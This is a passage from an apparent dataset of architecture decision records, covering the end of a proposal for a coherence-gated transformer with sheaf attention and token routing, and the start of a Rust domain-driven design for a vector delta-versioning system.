\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u2502\n\u2502 \u2502 COHERENCE ROUTER \u2502\u2502\n\u2502 \u2502 \u2502\u2502\n\u2502 \u2502 For each token t: \u2502\u2502\n\u2502 \u2502 E(t) = \u03a3 w_e ||\u03c1_t(x_t) - \u03c1_ctx(x_ctx)||\u00b2 \u2502\u2502\n\u2502 \u2502 \u2502\u2502\n\u2502 \u2502 Route based on energy: \u2502\u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\u2502\n\u2502 \u2502 \u2502 E < \u03b8_reflex \u2502 E < \u03b8_std \u2502 E \u2265 \u03b8_std \u2502 \u2502\u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502\u2502\n\u2502 \u2502 \u2502 \u25bc \u2502 \u25bc \u2502 \u25bc \u2502 \u2502\u2502\n\u2502 \u2502 \u2502 LANE 0 \u2502 LANE 1 \u2502 LANE 2 \u2502 \u2502\u2502\n\u2502 \u2502 \u2502 Reflex \u2502 Standard \u2502 Deep \u2502 \u2502\u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\u2502\n\u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u25bc \u25bc \u25bc \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 LANE 0 \u2502 \u2502 LANE 1 \u2502 \u2502 LANE 2 \u2502 \u2502\n\u2502 \u2502 REFLEX \u2502 \u2502 STANDARD \u2502 \u2502 DEEP \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 \u2022 1-2 layers \u2502 \u2022 6 layers\u2502 \u2502 \u2022 12+ layers \u2502\n\u2502 \u2502 \u2022 Local attention \u2502 \u2022 Sparse \u2502 \u2502 \u2022 Full + MoE \u2502\n\u2502 \u2502 (window=64) \u2502 sheaf \u2502 \u2502 \u2022 All experts \u2502\n\u2502 \u2502 \u2022 No FFN \u2502 attn \u2502 \u2502 \u2022 Spectral \u2502\n\u2502 \u2502 \u2022 <0.1ms \u2502 \u2022 ~1ms \u2502 \u2502 analysis \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2022 ~5ms \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u25bc \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u2502\n\u2502 \u2502 COHERENCE VERIFICATION \u2502\u2502\n\u2502 \u2502 \u2502\u2502\n\u2502 \u2502 E_final = compute_energy(output_graph) \u2502\u2502\n\u2502 \u2502 \u2502\u2502\n\u2502 \u2502 if E_final > \u03b8_max: \u2502\u2502\n\u2502 \u2502 \u2192 Escalate to Lane 2 OR refuse generation \u2502\u2502\n\u2502 \u2502 else: \u2502\u2502\n\u2502 \u2502 \u2192 Output with witness \u2502\u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\u2502\n\u2502 \u2502 \u2502\n\u2502 \u25bc \u2502\n\u2502 Output + Witness \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### Component Details\n\n#### 1. Sheaf Attention Layer\n\nReplace standard scaled dot-product attention with coherence-based attention:\n\n```\nStandard Attention:\n Attention(Q, K, V) = softmax(QK^T / \u221ad) V\n\nSheaf Attention:\n R_ij = ||\u03c1_i(x_i) - \u03c1_j(x_j)||\u00b2 # Residual energy\n A_ij = exp(-\u03b2 \u00d7 R_ij) / \u03a3_k exp(-\u03b2 \u00d7 R_ik) # Coherence-based weight\n Output = A \u00d7 V\n```\n\n**Key difference**: Attention weight is inversely proportional to residual energy.\n- High residual (incoherent) \u2192 Low attention (don't propagate inconsistency)\n- Low residual (coherent) \u2192 High attention (reinforce consistency)\n\n#### 2. Restriction Map Projections\n\nReplace learned W_q, W_k, W_v with restriction maps:\n\n```\nStandard:\n Q = W_q \u00d7 x (learned projection)\n K = W_k \u00d7 x\n V = W_v \u00d7 x\n\nSheaf:\n Q = \u03c1_q(x) (restriction map to query manifold)\n K = \u03c1_k(x) (restriction map to key manifold)\n V = \u03c1_v(x) (restriction map to value manifold)\n```\n\n**Benefits**:\n- Restriction maps have geometric meaning (project to shared space)\n- Can be initialized from domain knowledge\n- Residuals are interpretable\n\n#### 3. Token-Level Compute Routing\n\n```python\ndef route_token(token_embedding, context_graph):\n # Compute coherence energy with context\n energy = compute_token_energy(token_embedding, context_graph)\n\n if energy < THETA_REFLEX:\n return Lane.REFLEX # Minimal compute\n elif energy < THETA_STANDARD:\n return Lane.STANDARD # Normal compute\n else:\n return Lane.DEEP # Maximum compute\n```\n\n**Routing thresholds** (tunable via SONA):\n\n| Threshold | Default | Meaning |\n|-----------|---------|---------|\n| \u03b8_reflex | 0.01 | Token is highly coherent with context |\n| \u03b8_standard | 0.1 | Token has minor inconsistencies |\n| \u03b8_deep | 1.0 | Token has major inconsistencies |\n\n#### 4. Residual-Sparse Attention\n\nOnly compute attention for token pairs with high residual:\n\n```python\ndef sparse_sheaf_attention(X, threshold):\n N = len(X)\n attention_mask = zeros(N, N)\n\n for i in range(N):\n for j in range(N):\n residual = compute_residual(X[i], X[j])\n if residual > threshold:\n # These tokens are incoherent - need attention\n attention_mask[i, j] = 1\n # else: skip attention (already coherent)\n\n # Compute attention only for non-zero mask entries\n return masked_attention(X, attention_mask)\n```\n\n**Sparsity pattern**: Adapts to content, not fixed like local/strided attention.\n\n#### 5. Energy-Based Early Exit\n\n```python\ndef forward_with_early_exit(x, layers, epsilon=0.001):\n prev_energy = float('inf')\n\n for layer in layers:\n x = layer(x)\n curr_energy = compute_energy(x)\n\n delta = abs(curr_energy - prev_energy)\n if delta < epsilon:\n # Energy converged - no need for more layers\n return x\n\n prev_energy = curr_energy\n\n return x\n```\n\n**Exit criterion**: Energy convergence, not confidence threshold.\n\n---\n\n## Compute Lane Specifications\n\n### Lane 0: Reflex (~0.1ms)\n\n```\nLayers: 1-2\nAttention: Local only (window=64)\nFFN: Skip or minimal\nUse case: Common tokens, clear context\nExample: \"the\", \"is\", \"and\" in well-formed sentences\n```\n\n### Lane 1: Standard (~1ms)\n\n```\nLayers: 6\nAttention: Sparse sheaf (residual > 0.05)\nFFN: Standard\nUse case: Normal tokens requiring context integration\nExample: Most content words\n```\n\n### Lane 2: Deep (~5ms)\n\n```\nLayers: 12+\nAttention: Full sheaf + MoE routing\nFFN: Expert mixture\nSpectral: Eigenvalue analysis for structural issues\nUse case: Ambiguous, contradictory, or complex tokens\nExample: \"bank\" (river or financial?), negations, rare words\n```\n\n### Lane 3: Escalate (async)\n\n```\nAction: Return uncertainty, request clarification\nUse case: Irreconcilable incoherence\nExample: \"The cat is not a cat\" - logical contradiction\n```\n\n---\n\n## Mathematical Foundation\n\n### Sheaf Attention Formula\n\nGiven tokens X = {x_1, ..., x_N} and restriction maps \u03c1_i, \u03c1_j:\n\n**Residual**:\n```\nr_ij = \u03c1_i(x_i) - \u03c1_j(x_j)\n```\n\n**Edge energy**:\n```\nE_ij = w_ij \u00d7 ||r_ij||\u00b2\n```\n\n**Token energy**:\n```\nE_i = \u03a3_j E_ij (sum over edges incident to i)\n```\n\n**Attention weight** (coherence-based):\n```\nA_ij = exp(-\u03b2 \u00d7 E_ij) / \u03a3_k exp(-\u03b2 \u00d7 E_ik)\n```\n\n**Output**:\n```\ny_i = \u03a3_j A_ij \u00d7 V_j\n```\n\n### Complexity Analysis\n\n| Operation | Standard | Sheaf (Dense) | Sheaf (Sparse, s% non-zero) |\n|-----------|----------|---------------|----------------------------|\n| Attention | O(N\u00b2d) | O(N\u00b2d) | O(s\u00d7N\u00b2d) |\n| Routing | - | O(Nd) | O(Nd) |\n| Early exit | - | O(Ld) per check | O(Ld) per check |\n| **Total** | O(N\u00b2Ld) | O(N\u00b2Ld) | O(s\u00d7N\u00b2Ld + routing) |\n\nWith typical s=10-20% sparsity and 50% early exit: **5-10x speedup**.\n\n---\n\n## Integration with `ruvector-attention`\n\n### New Modules\n\n```\nruvector-attention/\n\u251c\u2500\u2500 src/\n\u2502 \u251c\u2500\u2500 sheaf/ # NEW: Sheaf attention\n\u2502 \u2502 \u251c\u2500\u2500 mod.rs\n\u2502 \u2502 \u251c\u2500\u2500 attention.rs # SheafAttention layer\n\u2502 \u2502 \u251c\u2500\u2500 restriction.rs # Restriction map projections\n\u2502 \u2502 \u251c\u2500\u2500 router.rs # Token-level routing\n\u2502 \u2502 \u251c\u2500\u2500 sparse.rs # Residual-sparse attention\n\u2502 \u2502 \u2514\u2500\u2500 early_exit.rs # Energy-based early exit\n\u2502 \u2502\n\u2502 \u251c\u2500\u2500 coherence_gated/ # NEW: Full CGT implementation\n\u2502 \u2502 \u251c\u2500\u2500 mod.rs\n\u2502 \u2502 \u251c\u2500\u2500 transformer.rs # CoherenceGatedTransformer\n\u2502 \u2502 \u251c\u2500\u2500 lane.rs # ComputeLane enum + configs\n\u2502 \u2502 \u251c\u2500\u2500 config.rs # CGTConfig\n\u2502 \u2502 \u2514\u2500\u2500 benchmark.rs # Latency/quality benchmarks\n\u2502 \u2502\n\u2502 \u2514\u2500\u2500 ... (existing modules)\n```\n\n### New Types\n\n```rust\n/// Sheaf-based attention layer\npub struct SheafAttention {\n /// Restriction map for queries\n pub rho_query: RestrictionMap,\n /// Restriction map for keys\n pub rho_key: RestrictionMap,\n /// Restriction map for values\n pub rho_value: RestrictionMap,\n /// Temperature for attention softmax\n pub beta: f32,\n /// Sparsity threshold\n pub sparsity_threshold: f32,\n}\n\n/// Compute lane for token routing\n#[derive(Debug, Clone, Copy)]\npub enum ComputeLane {\n /// Minimal compute (<0.1ms)\n Reflex,\n /// Standard compute (~1ms)\n Standard,\n /// Deep compute (~5ms)\n Deep,\n /// Escalate to caller\n Escalate,\n}\n\n/// Coherence-Gated Transformer configuration\npub struct CGTConfig {\n /// Embedding dimension\n pub d_model: usize,\n /// Layers per lane\n pub layers_per_lane: [usize; 3], // [reflex, standard, deep]\n /// Routing thresholds\n pub thresholds: CoherenceThresholds,\n /// Sparsity settings\n pub sparsity: SparsityConfig,\n /// Early exit settings\n pub early_exit: EarlyExitConfig,\n}\n\n/// Token routing decision\npub struct RoutingDecision {\n pub token_id: usize,\n pub energy: f32,\n pub lane: ComputeLane,\n pub attention_mask: Option,\n}\n```\n\n### Feature Flags\n\n```toml\n[features]\n# Sheaf attention (requires prime-radiant)\nsheaf = [\"dep:prime-radiant\"]\n\n# Full CGT implementation\ncoherence-gated = [\"sheaf\", \"sparse\", \"moe\"]\n\n# Benchmarking utilities\ncgt-bench = [\"coherence-gated\", \"criterion\"]\n```\n\n---\n\n## Performance Targets\n\n| Metric | Standard Transformer | CGT Target | Improvement |\n|--------|---------------------|------------|-------------|\n| Average latency (128 tokens) | 10ms | 1-2ms | 5-10x |\n| P99 latency (128 tokens) | 15ms | 8ms | 2x |\n| Memory (batch=32) | 2GB | 800MB | 2.5x |\n| Quality (perplexity) | Baseline | <5% degradation | Acceptable |\n\n### Latency Breakdown\n\n```\nStandard (10ms total):\n Attention: 6ms (60%)\n FFN: 3ms (30%)\n Other: 1ms (10%)\n\nCGT Target (2ms total):\n Routing: 0.1ms (5%)\n Attention (sparse): 1ms (50%)\n FFN (conditional): 0.7ms (35%)\n Other: 0.2ms (10%)\n```\n\n---\n\n## Quality Guarantees\n\n### Coherence Bound\n\nEvery output is guaranteed to have coherence energy below threshold:\n\n```\nE(output) < \u03b8_max OR escalate/refuse\n```\n\nThis is **stronger** than confidence-based systems which can be confidently wrong.\n\n### Graceful Degradation\n\nUnder compute pressure:\n1. Raise \u03b8_reflex \u2192 more tokens to Lane 0\n2. Increase sparsity threshold \u2192 fewer attention computations\n3. Quality degrades **predictably** (energy increases)\n\n### Interpretability\n\nFor any output:\n- Which tokens went to which lane?\n- Which token pairs had high residuals?\n- Where did the model \"struggle\"?\n\n---\n\n## Comparison with Existing Approaches\n\n| Feature | Flash Attention | Sparse Transformers | MoE | CGT (Ours) |\n|---------|-----------------|---------------------|-----|------------|\n| Adaptive compute | No | No | Yes | Yes |\n| Content-based sparsity | No | No | Partial | Yes |\n| Mathematical grounding | No | No | No | Yes (sheaf) |\n| Quality guarantee | No | No | No | Yes (energy bound) |\n| Interpretable routing | N/A | N/A | Partial | Yes |\n| Early exit criterion | N/A | N/A | Confidence | Energy convergence |\n\n---\n\n## Research Questions\n\n1. **Restriction map initialization**: Random vs. pre-trained vs. analytical?\n\n2. **Threshold tuning**: Can SONA auto-tune \u03b8 values during inference?\n\n3. **Multi-head sheaf attention**: One graph per head, or shared graph?\n\n4. **Training objective**: Standard cross-entropy + energy regularization?\n\n5. **Hardware optimization**: Can residual computation be fused with attention kernels?\n\n---\n\n## Implementation Phases\n\n### Phase 1: Foundation (Weeks 1-4)\n- [ ] `SheafAttention` layer with restriction maps\n- [ ] Basic residual computation\n- [ ] Unit tests for mathematical correctness\n\n### Phase 2: Routing (Weeks 5-8)\n- [ ] `ComputeLane` enum and routing logic\n- [ ] Token-level energy computation\n- [ ] Lane-specific layer configurations\n\n### Phase 3: Sparsity (Weeks 9-12)\n- [ ] Residual-sparse attention mask generation\n- [ ] Efficient sparse attention kernel\n- [ ] Sparsity pattern analysis tools\n\n### Phase 4: Integration (Weeks 13-16)\n- [ ] `CoherenceGatedTransformer` full implementation\n- [ ] Early exit with energy convergence\n- [ ] Benchmarking suite\n\n### Phase 5: Optimization (Weeks 17-20)\n- [ ] SIMD optimization for residual computation\n- [ ] Kernel fusion opportunities\n- [ ] SONA integration for threshold tuning\n\n---\n\n## Dependencies\n\n### Required\n- `prime-radiant` (coherence computation)\n- `ruvector-core` (vector operations)\n- `ndarray` (matrix operations)\n\n### Optional\n- `rayon` (parallel routing)\n- `criterion` (benchmarking)\n\n---\n\n## References\n\n1. Hansen, J., & Ghrist, R. (2019). \"Toward a spectral theory of cellular sheaves.\"\n\n2. Vaswani et al. (2017). \"Attention Is All You Need.\"\n\n3. Kitaev et al. (2020). \"Reformer: The Efficient Transformer.\"\n\n4. Fedus et al. (2022). \"Switch Transformers: Scaling to Trillion Parameter Models.\"\n\n5. ADR-014: Coherence Engine Architecture\n\n---\n\n## Related Decisions\n\n- **ADR-014**: Coherence Engine Architecture (Prime-Radiant)\n- **ADR-003**: SIMD Optimization Strategy\n- **ADR-006**: Memory Management\n\n---\n\n## Appendix: Name Options\n\n| Name | Rationale |\n|------|-----------|\n| **Coherence-Gated Transformer (CGT)** | Descriptive, clear function |\n| **Sheaf Attention** | Mathematical foundation |\n| **Residual-Routed Transformer** | Emphasizes routing mechanism |\n| **Energy-Adaptive Transformer** | Emphasizes efficiency |\n| **Prime Transformer** | Connection to Prime-Radiant |\n\n**Recommended**: \"Coherence-Gated Transformer (CGT)\" for the architecture, \"Sheaf Attention\" for the attention mechanism.", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-015-coherence-gated-transformer.md", "created_at": "2026-03-28T11:58:48.874987+00:00", "content_hash": "914c27f5a142bce6cf9b3b788f3c9d0b76c986b2b2018b2fe2063ac580e601d0"} +{"id": "7e34f4d3-7e79-4095-ab16-afd5751e9774", "source": "adr", "text": "# ADR-016: Delta-Behavior System - Domain-Driven Design Architecture\n\n**Status**: Proposed\n**Date**: 2026-01-28\n**Parent**: ADR-001 RuVector Core Architecture\n**Author**: System Architecture Designer\n\n## Abstract\n\nThis ADR defines a comprehensive Domain-Driven Design (DDD) architecture for a \"Delta-Behavior\" system using RuVector WASM modules. The system captures, propagates, aggregates, and applies differential changes (deltas) to vector representations, enabling efficient incremental updates, temporal versioning, and distributed state synchronization.\n\n---\n\n## 1. Executive Summary\n\nThe Delta-Behavior system models state changes as first-class domain objects rather than simple mutations. By treating deltas as immutable, causally-ordered events, the system enables:\n\n- **Efficient incremental updates**: Only transmit/store changes, not full states\n- **Temporal queries**: Reconstruct any historical state via delta replay\n- **Conflict detection**: Identify and resolve concurrent modifications\n- **Distributed sync**: Propagate deltas across nodes with eventual consistency\n- **WASM portability**: Core logic runs in browser, edge, and server environments\n\n---\n\n## 2. Domain Analysis\n\n### 2.1 Strategic Domain Design\n\nThe Delta-Behavior system spans five bounded contexts, each representing a distinct subdomain:\n\n```\n+------------------------------------------------------------------+\n| DELTA-BEHAVIOR SYSTEM |\n+------------------------------------------------------------------+\n| |\n| +----------------+ +-------------------+ +----------------+ |\n| | Delta Capture | | Delta Propagation | | Delta | |\n| | Domain |--->| Domain |--->| Aggregation | |\n| | | | | | Domain | |\n| | - Observers | | - Routers | | | |\n| | - Detectors | | - Channels | | - Windows | |\n| | - Extractors | | - Subscribers | | - Batchers | |\n| +----------------+ +-------------------+ +-------+--------+ |\n| | |\n| v |\n| +----------------+ +-------------------+ +----------------+ |\n| | Delta |<---| Delta Application |<---| (Aggregated | |\n| | Versioning | | Domain | | Deltas) | |\n| | Domain | | | +----------------+ |\n| | | | - Applicators | |\n| | - History | | - Validators | |\n| | - Snapshots | | - Transformers | |\n| | - Branches | | | |\n| +----------------+ +-------------------+ |\n| |\n+------------------------------------------------------------------+\n```\n\n### 2.2 Core Domain Concepts\n\n| Domain Concept | Definition |\n|----------------|------------|\n| **Delta** | An immutable record of a differential change between two states |\n| **DeltaStream** | Ordered sequence of deltas forming a causal chain |\n| **DeltaGraph** | DAG structure representing delta dependencies and branches |\n| **DeltaWindow** | Temporal container for batching deltas within a time/count boundary |\n| **DeltaVector** | Sparse representation of the actual change data (vector diff) |\n| **DeltaCheckpoint** | Full state snapshot at a specific delta sequence point |\n\n---\n\n## 3. Bounded Context Definitions\n\n### 3.1 Delta Capture Domain\n\n**Purpose**: Detect state changes and extract delta representations from source systems.\n\n#### Ubiquitous Language\n\n| Term | Definition |\n|------|------------|\n| **Observer** | Component that monitors a source for state changes |\n| **ChangeEvent** | Raw notification that a state modification occurred |\n| **Detector** | Algorithm that identifies meaningful changes vs noise |\n| **Extractor** | Component that computes the delta between old and new state |\n| **CapturePolicy** | Rules governing when/how deltas are captured |\n| **SourceBinding** | Connection between observer and monitored resource |\n\n#### Aggregate Roots\n\n```rust\n/// Delta Capture Domain - Aggregate Roots and Entities\npub mod delta_capture {\n use std::collections::HashMap;\n use serde::{Deserialize, Serialize};\n\n // ============================================================\n // VALUE OBJECTS\n // ============================================================\n\n /// Unique identifier for a delta\n #[derive(Clone, Copy, PartialEq, Eq, Hash, Debug, Serialize, Deserialize)]\n pub struct DeltaId(pub u128);\n\n impl DeltaId {\n pub fn new() -> Self {\n Self(uuid::Uuid::new_v4().as_u128())\n }\n\n pub fn from_bytes(bytes: [u8; 16]) -> Self {\n Self(u128::from_be_bytes(bytes))\n }\n\n pub fn to_bytes(&self) -> [u8; 16] {\n self.0.to_be_bytes()\n }\n }\n\n /// Logical timestamp for causal ordering\n #[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Debug, Serialize, Deserialize)]\n pub struct DeltaTimestamp {\n /// Logical clock (Lamport timestamp)\n pub logical: u64,\n /// Physical wall-clock time (milliseconds since epoch)\n pub physical: u64,\n /// Node identifier for tie-breaking\n pub node_id: u32,\n }\n\n impl DeltaTimestamp {\n pub fn new(logical: u64, physical: u64, node_id: u32) -> Self {\n Self { logical, physical, node_id }\n }\n\n /// Advance logical clock, ensuring it's ahead of physical time\n pub fn tick(&self) -> Self {\n let now_ms = std::time::SystemTime::now()\n .duration_since(std::time::UNIX_EPOCH)\n .unwrap()\n .as_millis() as u64;\n\n Self {\n logical: self.logical + 1,\n physical: now_ms.max(self.physical),\n node_id: self.node_id,\n }\n }\n\n /// Merge with another timestamp (for receiving events)\n pub fn merge(&self, other: &DeltaTimestamp) -> Self {\n let now_ms = std::time::SystemTime::now()\n .duration_since(std::time::UNIX_EPOCH)\n .unwrap()\n .as_millis() as u64;\n\n Self {\n logical: self.logical.max(other.logical) + 1,\n physical: now_ms.max(self.physical).max(other.physical),\n node_id: self.node_id,\n }\n }\n }\n\n /// Checksum for delta integrity verification\n #[derive(Clone, Copy, PartialEq, Eq, Debug, Serialize, Deserialize)]\n pub struct DeltaChecksum(pub [u8; 32]);\n\n impl DeltaChecksum {\n /// Compute Blake3 hash of delta payload\n pub fn compute(data: &[u8]) -> Self {\n use sha2::{Sha256, Digest};\n let mut hasher = Sha256::new();\n hasher.update(data);\n let result = hasher.finalize();\n let mut bytes = [0u8; 32];\n bytes.copy_from_slice(&result);\n Self(bytes)\n }\n\n /// Chain with previous checksum for tamper-evidence\n pub fn chain(&self, previous: &DeltaChecksum, data: &[u8]) -> Self {\n use sha2::{Sha256, Digest};\n let mut hasher = Sha256::new();\n hasher.update(&previous.0);\n hasher.update(data);\n let result = hasher.finalize();\n let mut bytes = [0u8; 32];\n bytes.copy_from_slice(&result);\n Self(bytes)\n }\n }\n\n /// Magnitude/size metric for a delta\n #[derive(Clone, Copy, Debug, Serialize, Deserialize)]\n pub struct DeltaMagnitude {\n /// Number of dimensions changed\n pub dimensions_changed: u32,\n /// Total L2 norm of the change\n pub l2_norm: f32,\n /// Maximum single-dimension change\n pub max_component: f32,\n /// Sparsity ratio (changed/total dimensions)\n pub sparsity: f32,\n }\n\n impl DeltaMagnitude {\n pub fn compute(old: &[f32], new: &[f32]) -> Self {\n assert_eq!(old.len(), new.len());\n\n let mut dims_changed = 0u32;\n let mut l2_sum = 0.0f32;\n let mut max_comp = 0.0f32;\n\n for (o, n) in old.iter().zip(new.iter()) {\n let diff = (n - o).abs();\n if diff > f32::EPSILON {\n dims_changed += 1;\n l2_sum += diff * diff;\n max_comp = max_comp.max(diff);\n }\n }\n\n Self {\n dimensions_changed: dims_changed,\n l2_norm: l2_sum.sqrt(),\n max_component: max_comp,\n sparsity: dims_changed as f32 / old.len() as f32,\n }\n }\n\n /// Check if delta is significant enough to record\n pub fn is_significant(&self, threshold: f32) -> bool {\n self.l2_norm > threshold\n }\n }\n\n /// Sparse representation of vector changes\n #[derive(Clone, Debug, Serialize, Deserialize)]\n pub struct DeltaVector {\n /// Total dimensions of the full vector\n pub total_dims: u32,\n /// Indices of changed dimensions\n pub indices: Vec,\n /// Delta values (new - old) for each changed index\n pub values: Vec,\n /// Magnitude metrics\n pub magnitude: DeltaMagnitude,\n }\n\n impl DeltaVector {\n /// Create from old and new vectors\n pub fn from_diff(old: &[f32], new: &[f32], min_diff: f32) -> Self {\n assert_eq!(old.len(), new.len());\n\n let mut indices = Vec::new();\n let mut values = Vec::new();\n\n for (i, (o, n)) in old.iter().zip(new.iter()).enumerate() {\n let diff = n - o;\n if diff.abs() > min_diff {\n indices.push(i as u32);\n values.push(diff);\n }\n }\n\n Self {\n total_dims: old.len() as u32,\n indices,\n values,\n magnitude: DeltaMagnitude::compute(old, new),\n }\n }\n\n /// Apply delta to a base vector\n pub fn apply(&self, base: &mut [f32]) {\n assert_eq!(base.len(), self.total_dims as usize);\n\n for (&idx, &val) in self.indices.iter().zip(self.values.iter()) {\n base[idx as usize] += val;\n }\n }\n\n /// Invert delta (for rollback)\n pub fn invert(&self) -> Self {\n Self {\n total_dims: self.total_dims,\n indices: self.indices.clone(),\n values: self.values.iter().map(|v| -v).collect(),\n magnitude: self.magnitude,\n }\n }\n\n /// Compose two deltas (this then other)\n pub fn compose(&self, other: &DeltaVector) -> Self {\n assert_eq!(self.total_dims, other.total_dims);\n\n let mut combined: HashMap = HashMap::new();\n\n for (&idx, &val) in self.indices.iter().zip(self.values.iter()) {\n *combined.entry(idx).or_insert(0.0) += val;\n }\n for (&idx, &val) in other.indices.iter().zip(other.values.iter()) {\n *combined.entry(idx).or_insert(0.0) += val;\n }\n\n // Filter out zero changes\n let filtered: Vec<_> = combined.into_iter()\n .filter(|(_, v)| v.abs() > f32::EPSILON)\n .collect();\n\n let mut indices: Vec = filtered.iter().map(|(i, _)| *i).collect();\n indices.sort();\n\n let values: Vec = indices.iter()\n .map(|i| filtered.iter().find(|(idx, _)| idx == i).unwrap().1)\n .collect();\n\n Self {\n total_dims: self.total_dims,\n indices,\n values,\n magnitude: DeltaMagnitude {\n dimensions_changed: filtered.len() as u32,\n l2_norm: values.iter().map(|v| v * v).sum::().sqrt(),\n max_component: values.iter().map(|v| v.abs()).fold(0.0, f32::max),\n sparsity: filtered.len() as f32 / self.total_dims as f32,\n },\n }\n }\n\n /// Serialize to bytes\n pub fn to_bytes(&self) -> Vec {\n bincode::serialize(self).unwrap()\n }\n\n /// Deserialize from bytes\n pub fn from_bytes(bytes: &[u8]) -> Result {\n bincode::deserialize(bytes)\n }\n }\n\n // ============================================================\n // AGGREGATES\n // ============================================================\n\n /// Source identifier being observed\n #[derive(Clone, PartialEq, Eq, Hash, Debug, Serialize, Deserialize)]\n pub struct SourceId(pub 